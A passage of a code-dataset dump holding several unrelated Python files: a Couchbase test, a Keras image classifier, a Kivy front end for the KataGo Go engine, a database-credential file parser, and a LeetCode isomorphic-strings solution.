institutions,\n# such as universities, faculties, institutes and professional schools.\n# The core business involves the administration of students, teachers,\n# courses, programs and so on.\n#\n# Copyright (C) 2015-2016 Université catholique de Louvain (http://www.uclouvain.be)\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# A copy of this license - GNU General Public License - is available\n# at the root of the source code of this program. If not,\n# see http://www.gnu.org/licenses/.\n#\n##############################################################################\n\nfrom couchbase import Couchbase\nfrom pprint import pprint\nimport json\n\n\ndef couchbase_insert(json_datas):\n cb = Couchbase.connect(bucket='default')\n data = json.loads(json_datas.decode(\"utf-8\"))\n key = \"{0}-{1}\".format(\n data['id'],\n data['name'].replace(' ', '_').lower()\n )\n print('inserting datas in couchDB...')\n cb.set(key, data)\n print('Done.')\n print('getting datas just inserted in couchDB...')\n result = cb.get(key)\n pprint(result.value, indent=4)\n print('Done.')\n print('deleting datas just inserted in couchDB...')\n cb.delete(key)\n print('Done.')\n","sub_path":"frontoffice/queue/queue_actions.py","file_name":"queue_actions.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"130834121","text":"import os\r\nimport numpy as np\r\nfrom os.path import join\r\nfrom glob import glob\r\nfrom sklearn.model_selection import train_test_split\r\nfrom tensorflow.python.keras.preprocessing.image import load_img,img_to_array\r\nfrom matplotlib import pyplot as plt\r\nfrom tensorflow.python.keras.utils import to_categorical\r\nfrom tensorflow.python.keras.models import Sequential\r\nfrom tensorflow.python.keras.callbacks import EarlyStopping\r\nfrom tensorflow.python.keras.layers import Conv2D,MaxPooling2D,Dropout,Flatten,Dense\r\n\r\ndef make_dataset(txt):\r\n X=[]\r\n Y=[]\r\n with open(txt,\"r\") as f:\r\n images=f.read().splitlines()\r\n for i in range(len(images)):\r\n #img_square(images[i][:-2]) #正方形に加工しない場合はコメントアウト\r\n img=load_img(images[i][:-2],target_size=(img_h,img_w))\r\n x=img_to_array(img)\r\n X.append(x)\r\n Y.append(images[i][-1])\r\n\r\n X=np.array(X)\r\n Y=np.array(Y)\r\n return X,Y\r\n\r\n#渡したpathの一覧を作成\r\ndef create_txt(txt,path): \r\n #すでにテキストが存在する場合削除する\r\n if os.path.exists(txt):\r\n os.remove(txt)\r\n \r\n #txtファイルに書き込む\r\n with open(txt,\"a\") as f:\r\n for name,label in classes.items():\r\n images=glob(join(path+name, \"*.jpg\"))\r\n for image in images:\r\n f.write(image+\",\"+label+\"\\n\")\r\n \r\n \r\ndef CNN(unit):\r\n model=Sequential()\r\n #畳み込み層\r\n model.add(\r\n Conv2D(\r\n filters=32,input_shape=(img_h,img_w,3),\r\n kernel_size=(3,3),strides=(1,1),\r\n padding='same',activation='relu'))\r\n model.add(\r\n Conv2D(\r\n filters=32,\r\n kernel_size=(3,3),strides=(1,1),\r\n padding='same',activation='relu'))\r\n\r\n #プーリング層\r\n model.add(MaxPooling2D(pool_size=(2,2)))\r\n #畳み込み層\r\n model.add(\r\n Conv2D(\r\n filters=64,kernel_size=(3,3),strides=(1,1),\r\n padding='same',activation='relu'))\r\n #プーリング層\r\n model.add(MaxPooling2D(pool_size=(2,2)))\r\n model.add(Flatten())\r\n #全結合層\r\n model.add(Dense(units=unit,activation='relu')) \r\n model.add(Dropout(0.5))\r\n model.add(Dense(units=unit//3,activation='relu')) \r\n model.add(Dropout(0.5))\r\n #出力層\r\n model.add(Dense(units=9,activation='softmax')) \r\n \r\n model.compile(\r\n optimizer='Adam',\r\n loss='categorical_crossentropy',\r\n metrics=['accuracy'])\r\n \r\n return model\r\n\r\n#トレーニングデータ学習\r\ndef model_train(X,Y):\r\n model=CNN(256)\r\n (X_tr,X_val,Y_tr,Y_val) = train_test_split(X,Y,test_size=0.2,random_state=0)\r\n es=EarlyStopping(monitor='val_loss',patience=10,verbose=1)\r\n history=model.fit(X_tr,Y_tr,batch_size=64,epochs=50,\r\n validation_data=(X_val,Y_val),callbacks=[es])\r\n \r\n return model,history\r\n\r\n#テストデータ検証 \r\ndef model_evaluate(model,X,Y):\r\n score=model.evaluate(X,Y)\r\n print('test score')\r\n print('loss=',score[0])\r\n print('acc=',score[1])\r\n\r\n#グラフ描画用\r\ndef graph_plot(history):\r\n plt.plot(history.history['accuracy'],color='red', marker='.', label='acc')\r\n plt.title('model accuracy')\r\n plt.grid()\r\n plt.plot(history.history['val_accuracy'], marker='.', label='val_acc')\r\n plt.grid()\r\n plt.xlabel('epoch')\r\n plt.ylabel('accuracy')\r\n plt.legend(loc='best')\r\n plt.show()\r\n \r\n plt.plot(history.history['loss'], marker='.', label='loss')\r\n plt.title('model loss')\r\n plt.grid()\r\n plt.plot(history.history['val_loss'], marker='.', label='val_loss')\r\n plt.grid()\r\n plt.xlabel('epoch')\r\n plt.ylabel('loss')\r\n plt.legend(loc='best')\r\n plt.show()\r\n \r\n#メイン関数\r\ndef main():\r\n #データセットの作成 \r\n create_txt(txts[0],'train_img\\\\')\r\n create_txt(txts[1],'test_img\\\\')\r\n X_train,Y_train=make_dataset(txts[0])\r\n X_test,Y_test=make_dataset(txts[1])\r\n #前処理(正規化)\r\n X_train=X_train.astype(np.float)\r\n X_test=X_test.astype(np.float)\r\n X_train=X_train/255\r\n X_test=X_test/255\r\n Y_train=to_categorical(Y_train,9)\r\n Y_test=to_categorical(Y_test,9)\r\n \r\n #CNNによる学習\r\n model,history=model_train(X_train,Y_train)\r\n #学習結果のグラフ描画\r\n graph_plot(history)\r\n #テストデータの検証結果の表示\r\n model_evaluate(model,X_test,Y_test)\r\n \r\n #学習モデル・重みの保存\r\n model.save('./model/model.h5')\r\n \r\n #for i in range(7):\r\n # print(acc[i],loss[i])\r\n \r\n\r\nif __name__==\"__main__\":\r\n #グローバル変数の設定\r\n classes={'hasimoto':'0','inoue':'1','iwaizono':'2','kajioka':'3','kanetou':'4','kariya':'5','shoji':'6','sono':'7','suzuki':'8'}\r\n txts=[\"tr_list.txt\",\"ts_list.txt\"]\r\n img_w=224\r\n img_h=224\r\n\r\n main()\r\n","sub_path":"python/classf.py","file_name":"classf.py","file_ext":"py","file_size_in_byte":4915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"632124741","text":"import copy\nimport json\nimport os\nimport random\nimport re\nimport shlex\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom queue import Queue\n\nfrom kivy.clock import Clock\nfrom kivy.storage.jsonstore import JsonStore\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.checkbox import CheckBox\nfrom kivy.uix.filechooser import FileChooserListView\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.label import Label\nfrom kivy.uix.popup import Popup\n\nfrom board import Board, IllegalMoveException, Move\n\nBASE_PATH = getattr(sys, \"_MEIPASS\", os.path.dirname(os.path.abspath(__file__)))\n\nconfig_file = sys.argv[1] if len(sys.argv) > 1 else os.path.join(BASE_PATH, \"config.json\")\nprint(f\"Using config file {config_file}\")\nConfig = JsonStore(config_file)\n\n\nclass EngineControls(GridLayout):\n def __init__(self, **kwargs):\n super(EngineControls, self).__init__(**kwargs)\n\n self.command = os.path.join(BASE_PATH, Config.get(\"engine\")[\"command\"])\n if \"win\" not in sys.platform:\n self.command = shlex.split(self.command)\n\n analysis_settings = Config.get(\"analysis\")\n self.visits = [[analysis_settings[\"pass_visits\"], analysis_settings[\"visits\"]], [analysis_settings[\"pass_visits_fast\"], analysis_settings[\"visits_fast\"]]]\n self.train_settings = Config.get(\"trainer\")\n self.debug = Config.get(\"debug\")[\"level\"]\n self.board_size = Config.get(\"board\")[\"size\"]\n self.ready = False\n self.message_queue = None\n self.board = Board(self.board_size)\n self.komi = 6.5 # loaded from config in init\n self.outstanding_analysis_queries = [] # allows faster interaction while kata is starting\n self.kata = None\n self.query_time = {}\n\n def show_error(self, msg):\n print(f\"ERROR: {msg}\")\n self.info.text = msg\n\n def redraw(self, include_board=False):\n if include_board:\n Clock.schedule_once(self.parent.board.draw_board, -1) # main thread needs to do this\n Clock.schedule_once(self.parent.board.redraw, -1)\n\n def restart(self, board_size=None):\n self.ready = False\n if not self.message_queue:\n self.message_queue = Queue()\n self.engine_thread = threading.Thread(target=self._engine_thread, daemon=True).start()\n else:\n with self.message_queue.mutex:\n self.message_queue.queue.clear()\n self.action(\"init\", board_size or self.board_size)\n\n def action(self, message, *args):\n self.message_queue.put([message, *args])\n\n # engine main loop\n def _engine_thread(self):\n try:\n self.kata = subprocess.Popen(self.command, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n except FileNotFoundError:\n self.show_error(\n f\"Starting kata with command '{self.command}' failed. If you are on Mac or Linux, please edit configuration file '{config_file}' to point to the correct KataGo executable.\"\n )\n self.analysis_thread = threading.Thread(target=self._analysis_read_thread, daemon=True).start()\n\n msg, *args = self.message_queue.get()\n while True:\n try:\n if self.debug:\n print(\"MESSAGE\", msg, args)\n getattr(self, f\"_do_{msg.replace('-','_')}\")(*args)\n except Exception as e:\n self.show_error(f\"Exception in Engine thread: {e}\")\n raise\n msg, *args = self.message_queue.get()\n\n def play(self, move, faster=False):\n try:\n mr = self.board.play(move)\n except IllegalMoveException as e:\n self.info.text = f\"Illegal move: {str(e)}\"\n return\n self.update_evaluation()\n if not mr.analysis_ready: # replayed old move\n self._request_analysis(mr, faster=faster)\n return mr\n\n def show_evaluation_stats(self, move):\n if move.analysis_ready:\n self.score.text = move.format_score().replace(\"-\", \"\\u2013\")\n self.temperature.text = f\"{move.temperature_stats[2]:.1f}\"\n if move.parent and move.parent.analysis_ready:\n if move.evaluation is not None:\n self.evaluation.text = f\"{move.evaluation:.1%}\"\n else:\n self.evaluation.text = f\"?\"\n\n # handles showing completed analysis and triggered actions like auto undo and ai move\n def update_evaluation(self):\n current_move = self.board.current_move\n self.score.set_prisoners(self.board.prisoner_count)\n current_player_is_human_or_both_robots = not self.ai_auto.active(current_move.player) or self.ai_auto.active(1 - current_move.player)\n if current_player_is_human_or_both_robots and current_move is not self.board.root:\n self.info.text = current_move.comment(eval=True, hints=self.hints.active(current_move.player))\n self.evaluation.text = \"\"\n if current_player_is_human_or_both_robots:\n self.show_evaluation_stats(current_move)\n\n if current_move.analysis_ready and current_move.parent and current_move.parent.analysis_ready and not current_move.children and not current_move.x_comment.get(\"undo\"):\n # handle automatic undo\n if self.auto_undo.active(current_move.player) and not self.ai_auto.active(current_move.player) and not current_move.auto_undid:\n ts = self.train_settings\n # TODO: is this overly generous wrt low visit outdated evaluations?\n evaluation = current_move.evaluation if current_move.evaluation is not None else 1 # assume move is fine if temperature is negative\n move_eval = max(evaluation, current_move.outdated_evaluation or 0)\n points_lost = (current_move.parent or current_move).temperature_stats[2] * (1 - move_eval)\n if move_eval < ts[\"undo_eval_threshold\"] and points_lost >= ts[\"undo_point_threshold\"]:\n if self.num_undos(current_move) == 0:\n current_move.x_comment[\"undid\"] = f\"Move was below threshold, but no undo granted (probability is {ts['num_undo_prompts']:.0%}).\\n\"\n self.update_evaluation()\n else:\n current_move.auto_undid = True\n self.board.undo()\n if len(current_move.parent.children) >= ts[\"num_undo_prompts\"] + 1:\n best_move = sorted([m for m in current_move.parent.children], key=lambda m: -(m.evaluation_info[0] or 0))[0]\n best_move.x_comment[\"undo_autoplay\"] = f\"Automatically played as best option after max. {ts['num_undo_prompts']} undo(s).\\n\"\n self.board.play(best_move)\n self.update_evaluation()\n return\n # ai player doesn't technically need parent ready, but don't want to override waiting for undo\n current_move = self.board.current_move # this effectively checks undo didn't just happen\n if self.ai_auto.active(1 - current_move.player) and not self.board.game_ended:\n if current_move.children:\n self.info.text = \"AI paused since moves were undone. Press 'AI Move' or choose a move for the AI to continue playing.\"\n else:\n self._do_aimove()\n self.redraw(include_board=False)\n\n # engine action functions\n def _do_play(self, *args):\n self.play(Move(player=self.board.current_player, coords=args[0]))\n\n def _do_aimove(self):\n ts = self.train_settings\n while not self.board.current_move.analysis_ready:\n self.info.text = \"Thinking...\"\n time.sleep(0.05)\n # select move\n current_move = self.board.current_move\n pos_moves = [\n (d[\"move\"], float(d[\"scoreLead\"]), d[\"evaluation\"]) for i, d in enumerate(current_move.ai_moves) if i == 0 or int(d[\"visits\"]) >= ts[\"balance_play_min_visits\"]\n ]\n sel_moves = pos_moves[:1]\n # don't play suicidal to balance score - pass when it's best\n if self.ai_balance.active and pos_moves[0][0] != \"pass\":\n sel_moves = [\n (move, score, move_eval)\n for move, score, move_eval in pos_moves\n if move_eval > ts[\"balance_play_randomize_eval\"]\n and -current_move.player_sign * score > 0\n or move_eval > ts[\"balance_play_min_eval\"]\n and -current_move.player_sign * score > ts[\"balance_play_target_score\"]\n ] or sel_moves\n aimove = Move(player=self.board.current_player, gtpcoords=random.choice(sel_moves)[0], robot=True)\n if len(sel_moves) > 1:\n aimove.x_comment[\"ai\"] = \"AI Balance on, moves considered: \" + \", \".join(f\"{move} ({aimove.format_score(score)})\" for move, score, _ in sel_moves) + \"\\n\"\n self.play(aimove)\n\n def num_undos(self, move):\n if self.train_settings[\"num_undo_prompts\"] < 1:\n return int(move.undo_threshold < self.train_settings[\"num_undo_prompts\"])\n else:\n return self.train_settings[\"num_undo_prompts\"]\n\n def _do_undo(self):\n if (\n self.ai_lock.active\n and self.auto_undo.active(self.board.current_move.player)\n and len(self.board.current_move.parent.children) > self.num_undos(self.board.current_move)\n and not self.train_settings.get(\"dont_lock_undos\")\n ):\n self.info.text = f\"Can't undo this move more than {self.num_undos(self.board.current_move)} time(s) when locked\"\n return\n self.board.undo()\n self.update_evaluation()\n\n def _do_redo(self):\n self.board.redo()\n self.update_evaluation()\n\n def _do_redo_branch(self, direction):\n self.board.switch_branch(direction)\n self.update_evaluation()\n\n def _do_init(self, board_size, komi=None):\n self.board_size = board_size\n self.komi = float(komi or Config.get(\"board\").get(f\"komi_{board_size}\", 6.5))\n self.board = Board(board_size)\n self._request_analysis(self.board.root)\n self.redraw(include_board=True)\n self.ready = True\n if self.ai_lock.active:\n self.ai_lock.checkbox._do_press()\n for el in [self.ai_lock.checkbox, self.hints.black, self.hints.white, self.ai_auto.black, self.ai_auto.white, self.auto_undo.black, self.auto_undo.white, self.ai_move]:\n el.disabled = False\n\n def universal_read(self, file):\n with open(file, \"rb\") as f:\n bin_c = f.read()\n for encoding in [\"utf-8\", \"iso-8859-1\", \"cp949\", \"GB18030\"]:\n try:\n return bin_c.decode(encoding=encoding)\n except:\n pass\n self.show_error(f\"could not decode file contents of {file}\")\n return \"\"\n\n def _do_analyze_sgf(self, sgf, faster=False, rewind=False):\n sgfprops = {k: v.strip(\"[]\").split(\"][\") if k in [\"AB\", \"AW\"] else v.strip(\"[]\") for k, v in re.findall(r\"\\b(\\w+)((?:\\[.*?\\])+)\", sgf)}\n size = int(sgfprops.get(\"SZ\", self.board_size))\n sgfmoves = re.findall(r\"\\b([BW])\\[([a-z]{2})\\]\", sgf)\n if not sgfmoves and not sgfprops:\n fileselect_popup = Popup(title=\"Double Click SGF file to analyze\", size_hint=(0.8, 0.8))\n fc = FileChooserListView(multiselect=False, path=os.path.expanduser(\"~\"), filters=[\"*.sgf\"])\n blui = BoxLayout(orientation=\"horizontal\", size_hint=(1, 0.1))\n cbfast = CheckBox(color=(0.95, 0.95, 0.95, 1))\n cbrewind = CheckBox(color=(0.95, 0.95, 0.95, 1))\n for widget in [Label(text=\"Analyze Extra Fast\"), cbfast, Label(text=\"Rewind to start\"), cbrewind]:\n blui.add_widget(widget)\n bl = BoxLayout(orientation=\"vertical\")\n bl.add_widget(fc)\n bl.add_widget(blui)\n fileselect_popup.add_widget(bl)\n\n def readfile(files, _mouse):\n fileselect_popup.dismiss()\n self.action(\"analyze-sgf\", self.universal_read((files[0])), cbfast.active, cbrewind.active)\n\n fc.on_submit = readfile\n fileselect_popup.open()\n return\n self._do_init(size, sgfprops.get(\"KM\"))\n handicap = int(sgfprops.get(\"HA\", 0))\n\n if handicap and not \"AB\" in sgfprops:\n self.board.place_handicap_stones(handicap)\n\n placements = [Move(player=pl, sgfcoords=(mv, self.board_size)) for pl, player in enumerate(Move.PLAYERS) for mv in sgfprops.get(\"A\" + player, [])]\n for placement in placements: # free handicaps\n self.board.play(placement) # bypass analysis\n\n if handicap or placements:\n self._request_analysis(self.board.current_move) # ensure next move analysis works\n\n moves = [Move(player=Move.PLAYERS.index(p.upper()), sgfcoords=(mv, self.board_size)) for p, mv in sgfmoves]\n for move in moves:\n self.play(move, faster=faster and move != moves[-1])\n if rewind:\n self.board.rewind()\n\n # analysis thread\n def _analysis_read_thread(self):\n while True:\n while self.outstanding_analysis_queries:\n self._send_analysis_query(self.outstanding_analysis_queries.pop(0))\n line = self.kata.stdout.readline()\n if not line: # occasionally happens?\n return\n try:\n analysis = json.loads(line)\n except json.JSONDecodeError as e:\n print(f\"JSON decode error: '{e}' encountered after receiving input '{line}'\")\n return\n if self.debug:\n print(f\"[{time.time()-self.query_time.get(analysis['id'],0):.1f}] kata analysis received:\", line[:80], \"...\")\n if \"error\" in analysis:\n print(analysis)\n self.show_error(f\"ERROR IN KATA ANALYSIS: {analysis['error']}\")\n else:\n self.board.store_analysis(analysis)\n self.update_evaluation()\n\n def _send_analysis_query(self, query):\n self.query_time[query[\"id\"]] = time.time()\n if self.kata:\n self.kata.stdin.write((json.dumps(query) + \"\\n\").encode())\n self.kata.stdin.flush()\n else: # early on / root / etc\n self.outstanding_analysis_queries.append(copy.copy(query))\n\n def _request_analysis(self, move, faster=False):\n faster_fac = 5 if faster else 1\n move_id = move.id\n moves = self.board.moves\n fast = self.ai_fast.active\n query = {\n \"id\": str(move_id),\n \"moves\": [[m.bw_player(), m.gtp()] for m in moves],\n \"rules\": \"japanese\",\n \"komi\": self.komi,\n \"boardXSize\": self.board_size,\n \"boardYSize\": self.board_size,\n \"analyzeTurns\": [len(moves)],\n \"includeOwnership\": True,\n \"maxVisits\": self.visits[fast][1] // faster_fac,\n }\n if self.debug:\n print(f\"sending query for move {move_id}: {str(query)[:80]}\")\n self._send_analysis_query(query)\n query.update({\"id\": f\"PASS_{move_id}\", \"maxVisits\": self.visits[fast][0] // faster_fac, \"includeOwnership\": False})\n query[\"moves\"] += [[move.bw_player(next_move=True), \"pass\"]]\n query[\"analyzeTurns\"][0] += 1\n self._send_analysis_query(query)\n\n def output_sgf(self):\n return self.board.write_sgf(self.komi, self.train_settings)\n","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":15563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"452831833","text":"#!/usr/bin/env python\n#***************************************************************************/\n#*\n#*\t\t\t\t Copyright (c) 2006 Vonage Holdings Corp.\n#*\t\t\t\t\t\t All rights reserved.\n#*\n#*\n#***************************************************************************/\n#\n\n\"\"\"\nDBAuth\n======\n\tThis module is designed to give secure access to the database by\n\tallowing the application to supply an application name, instead of a\n\tusername and password. This is used to look that application up in a\n\tfile secured by the OS permissions. dbauth can then make a connection\n\tto that database when required.\n\n\tHistory\n\t-------\n\t * CR: Becker, Cohen, Kaczynski, Milkovits 2/15/07\n\"\"\"\n\nimport os\nimport os.path\nimport vonage.util.vonlogging as vl\n\nclass DbAuthError(Exception):\n\t\"\"\"Exception class for dbauth specific problems\"\"\"\n\tpass\n\nauth_dict = {}\nlog = vl.getLogger()\n\nclass DbAuth(object):\n\t\"\"\"\n\tRepresentation of various dbauth file formats.\n\n\tThis class include member attributes which correspond to the Vonage\n\tdbauth file format for Oracle, EDB and MySQL\n\t\"\"\"\n\n\tdef __init__(self, name):\n\n\t\tself.name = name\n\t\tself.filename = None\n\t\tself.mtime = 0\n\t\tself.dict = {}\n\t\tself.dbtype = None\n\t\tself.username = None\n\t\tself.password = None\n\t\tself.servicename = None\n\t\tself.servername = None\n\t\tself.database = None\n\t\tself.persistent = None\n\t\tself.host = None\n\t\tself.port = None\n\t\tself.dsn = None\n\t\t# The following are only used for SQL Relay connections:\n\t\tself.socket = None\n\t\tself.retrytime = None\n\t\tself.tries = None\n\n\tdef flush(self):\n\t\t\"\"\"Call __init__ to reset member attributes but keep application name\"\"\"\n\t\tself.__init__(self.name)\n\n\tdef load(self, filename, mtime=0):\n\t\t\"\"\"\n\t\tLoad and parse the dbauth file\n\n\t\t@param filename: The absolute path of the dbauth file to load\n\t\t@type filename: str\n\t\t@param mtime: The modification time of the file\n\t\t@type mtime: float\n\t\t@return: None\n\t\t@rtype: None\n\n\t\t=History\n\t\t* Created: Gardner Pomper 9/1/06\n\t\t* CR: Becker, Cohen, Kaczynski, Milkovits 2/15/07\n\t\t\"\"\"\n\n\t\tself.filename = filename\n\t\tself.mtime = mtime\n\n\t\tdbauth_file = open(filename,'r')\n\t\tfor line in dbauth_file:\n\t\t\tself.__load_line(line, filename)\n\t\tdbauth_file.close()\n\n\t\tself.__handle_mysql()\n\t\tself.__handle_postgres()\n\t\tself.__handle_sqlrelay()\n\n\tdef __load_line(self, line, filename):\n\t\t\"\"\"\n\t\tParse a single line from a dbauth file\n\n\t\tThis sets the corresponding member variables in the\n\t\tDbAuth instance to the correct value\n\n\t\t@param line: A single line from a dbauth file\n\t\t@type line: str\n\t\t@param filename: The name of the dbauth file\n\t\t@type filename: str\n\t\t@return: None\n\t\t@rtype: None\n\t\t\"\"\"\n\t\t#\n\t\t# ----- valid entries are : [# comment]\n\t\t# ----- ignore everything else\n\t\t#\n\t\tno_comment_line = line.strip().split('#')[0]\n\t\tflds = no_comment_line.split(':',1)\n\t\t#log.info(no_comment_line)\n\t\tif len(flds) == 2:\n\t\t\t(key,value) = (flds[0].strip().lower(), flds[1].strip())\n\t\t\t#\n\t\t\t# ----- save specific keys into their own fields\n\t\t\t# ---- put anything else into a dictionary\n\t\t\t#\n\t\t\tif key == 'dbtype': self.dbtype = value.lower()\n\t\t\telif key == 'username': self.username = value\n\t\t\telif key == 'password': self.password = value\n\t\t\telif key == 'servicename': self.servicename = value\n\t\t\telif key == 'servername': self.servername = value\n\t\t\telif key == 'host': self.host = value\n\t\t\telif key == 'port': self.port = int(value)\n\t\t\telif key == 'database': self.database = value\n\t\t\telif key == 'persistent': self.persistent = value\n\t\t\telif key == 'socket': self.socket = value\n\t\t\telif key == 'retrytime': self.retrytime = int(value)\n\t\t\telif key == 'tries': self.tries = int(value)\n\t\t\telse: self.dict[key] = value\n\t\telif line.isspace():\n\t\t\tpass # don't complain about newlines at the end of the file or else where\n\t\telse:\n\t\t\tlog.warning(\"Got bad line: %s\\nin dbauth file: %s\" %(line, filename))\n\n\tdef __handle_mysql(self):\n\t\t\"\"\"\n\t\tSet MySQL specific dbauth attributes\n\n\t\tThis only effects the object if the database is\n\t\tidentified as MySQL in the dbauth file\n\t\t\"\"\"\n\n\t\tif self.dbtype == 'mysql':\n\t\t\tif \";\" in self.servicename:\n\t\t\t\tmysql_connect_data = self.servicename.split(';')\n\t\t\t\tfor line in mysql_connect_data:\n\t\t\t\t\tif \"=\" in line:\n\t\t\t\t\t\tkey, value = line.split(\"=\")\n\t\t\t\t\t\tif (key.lower() == 'host'): self.host = value\n\t\t\t\t\t\tif (key.lower() == 'port'): self.port = int(value)\n\t\t\t\t\t\tif (key.lower() == 'database'): self.database = value\n\t\t\t\tif self.port == None:\n\t\t\t\t\tself.port = 3306\n\n\tdef __handle_postgres(self):\n\t\t\"\"\"\n\t\tSet PGSQL specific dbauth attributes\n\n\t\tThis only effects the object if the database is\n\t\tidentified as Postgres in the dbauth file\n\t\t\"\"\"\n\n\t\tif self.dbtype == 'postgres':\n\t\t\tif \";\" in self.servicename:\n\t\t\t\tpostgres_connect_data = self.servicename.split(';')\n\t\t\t\tfor line in postgres_connect_data:\n\t\t\t\t\tif \"=\" in line:\n\t\t\t\t\t\tkey, value = line.split(\"=\")\n\t\t\t\t\t\tif (key.lower() == 'host'): self.host = value\n\t\t\t\t\t\tif (key.lower() == 'port'): self.port = int(value)\n\t\t\t\t\t\tif (key.lower() == 'database'): self.database = value\n\t\t\t\tif self.port == None:\n\t\t\t\t\tself.port = 5432\n\n\t\t\t\tself.dsn = \"\"\n\t\t\t\tfor param in postgres_connect_data:\n\t\t\t\t\tif 'database' in param:\n\t\t\t\t\t\tparam = param.replace('database', 'dbname')\n\t\t\t\t\tself.dsn += param\n\t\t\t\t\tself.dsn += \" \"\n\n\t\t\tself.dsn = self.dsn + \"user=\" + self.username + \" password=\" + self.password\n\n\tdef __handle_sqlrelay(self):\n\t\t\"\"\"\n\t\tSet SQL Relay specific dbauth attributes\n\n\t\tThis only effects the object if the database is\n\t\tidentified as SQL Relay in the dbauth file\n\t\t\"\"\"\n\n\t\tif self.dbtype == 'sqlrelay':\n\t\t\tif \";\" in self.servicename:\n\t\t\t\tsqlrelay_connect_data = self.servicename.split(';')\n\t\t\t\tfor line in sqlrelay_connect_data:\n\t\t\t\t\tif \"=\" in line:\n\t\t\t\t\t\tkey, value = line.split(\"=\")\n\t\t\t\t\t\tif (key.lower() == 'host'):\t self.host = value\n\t\t\t\t\t\tif (key.lower() == 'port'):\t self.port = int(value)\n\t\t\t\t\t\tif (key.lower() == 'socket'): self.socket = value\n\t\t\t\t\t\tif (key.lower() == 'retrytime'): self.retrytime = int(value)\n\t\t\t\t\t\tif (key.lower() == 'tries'): self.tries = int(value)\n\t\t\tif self.host is None:\n\t\t\t\tself.host = ''\n\t\t\tif self.port is None:\n\t\t\t\tself.port = 0\n\t\t\tif self.socket is None:\n\t\t\t\tself.socket = ''\n\t\t\tif self.retrytime is None:\n\t\t\t\tself.retrytime = 0\n\t\t\tif self.tries is None:\n\t\t\t\tself.tries = 1\n\ndef auth_filename(app_name):\n\t\"\"\"\n\tFind the name of the dbauth file to load for the app.\n\n\tIf no app name is supplied it defaults to the default app name.\n\tIf the environment variable DBAUTHAL_DIR is set that is used as\n\tthe path to look for the file. If it is not set the method looks\n\tin /var/local/auth-info by default.\n\n\t@param app_name: The application name (also the auth file name)\n\t@type app_name: str\n\t@return: The absolute path of the dbauth file\n\t@rtype: str\n\n\t=History\n\t* Created: Gardner Pomper 9/1/06\n\t* CR: Becker, Cohen, Kaczynski, Milkovits 2/15/07\n\t\"\"\"\n\n\tdirname = os.getenv('DBAUTHAL_DIR','/var/local/auth-info')\n\tfname = os.path.join(dirname,app_name)\n\n\treturn fname\n\ndef load_auth_file(app_name):\n\t\"\"\"\n\tCreate a DBAuth object from an auth file.\n\n\tThis only loads the file if it is a new app, or if the\n\tauth file is newer than before.\n\n\tIf no app name is given the default auth file is loaded.\n\tIf no auth file exists for the given app the method returns the\n\tdefault app. If neither exists an error is raised.\n\n\t@param app_name: The application name/auth file name to use\n\t@type app_name: str\n\t@return: A DbAuth object representing the auth file\n\t@rtype: DbAuth\n\t@raise DbAuthError: If neither the default app or the\n\trequested app DbAuth objects can be created.\n\n\t=History\n\t* Created: Gardner Pomper 9/1/06\n\t* CR: Becker, Cohen, Kaczynski, Milkovits 2/15/07\n\t* Modified: Nicholas Milkovits 2/16/07\n\t\"\"\"\n\n\tglobal auth_dict\n\n\tfname = auth_filename(app_name)\n\n\t# Check the file is present and we have read access\n\tif os.access(fname, os.R_OK):\n\t\tmodtime = os.path.getmtime(fname)\n\t\t# If we never used this auth file before create a new object\n\t\t# Or, if it failed before\n\t\tif app_name not in auth_dict or auth_dict[app_name] is None:\n\t\t\tath = DbAuth(app_name)\n\t\t\tath.load(fname,modtime)\n\t\t\tauth_dict[app_name] = ath\n\t\t# Else if it is a newer version of an auth file\n\t\telif auth_dict[app_name].mtime < modtime or auth_dict[app_name].filename != fname:\n\t\t\tlog.info(\"recreating auth object: \" + app_name)\n\t\t\tauth_dict[app_name].flush()\n\t\t\tauth_dict[app_name].load(fname, modtime)\n\n\telse:\n\t\tauth_dict[app_name] = None\n\t\tlog.warning('Could not load dbauth file: %s' % (app_name,))\n\t\traise DbAuthError('The auth file %s does not exist' % (app_name,))\n\n\treturn auth_dict[app_name]\n","sub_path":"vonage/db/dbauth.py","file_name":"dbauth.py","file_ext":"py","file_size_in_byte":8513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"192319726","text":"class Solution(object):\n def isIsomorphic(self, s, t):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: bool\n \"\"\"\n # map the s -> t and t -> s, make sure it has one to one mapping realationship\n if len(s) != len(t):\n return False\n charMap1 = {}\n charMap2 = {}\n for i in range(len(s)):\n if s[i] not in charMap1 and t[i] not in charMap2:\n charMap1[s[i]] = t[i]\n charMap2[t[i]] = s[i]\n elif s[i] in charMap1 and t[i] in charMap2:\n if charMap1[s[i]] != t[i] or charMap2[t[i]] != s[i]:\n return False\n else:\n return False\n return True\n\nres = Solution().isIsomorphic(\"ab\", \"aa\")\nprint(res) # False\n\nres = Solution().isIsomorphic(\"foo\", \"bar\")\nprint(res) # False\n\nres = Solution().isIsomorphic(\"egg\", \"add\")\nprint(res) # True\n\n\n","sub_path":"leet/题目/e205.py","file_name":"e205.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}